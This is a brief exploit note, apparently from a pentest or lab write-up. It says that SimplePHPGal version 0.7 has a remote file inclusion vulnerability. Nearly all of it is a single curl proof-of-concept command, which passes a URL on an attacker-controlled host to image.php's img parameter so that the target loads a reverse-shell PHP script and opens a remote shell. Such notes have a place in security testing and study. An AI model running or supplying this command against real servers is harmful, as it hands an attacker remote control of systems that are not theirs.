SimplePHPGal

There is a RFI vulnerability in version 0.7 with an available PoC:

$ curl -s "http://<target-IP>/image.php?img=http://<attacker-IP>/revshell.php"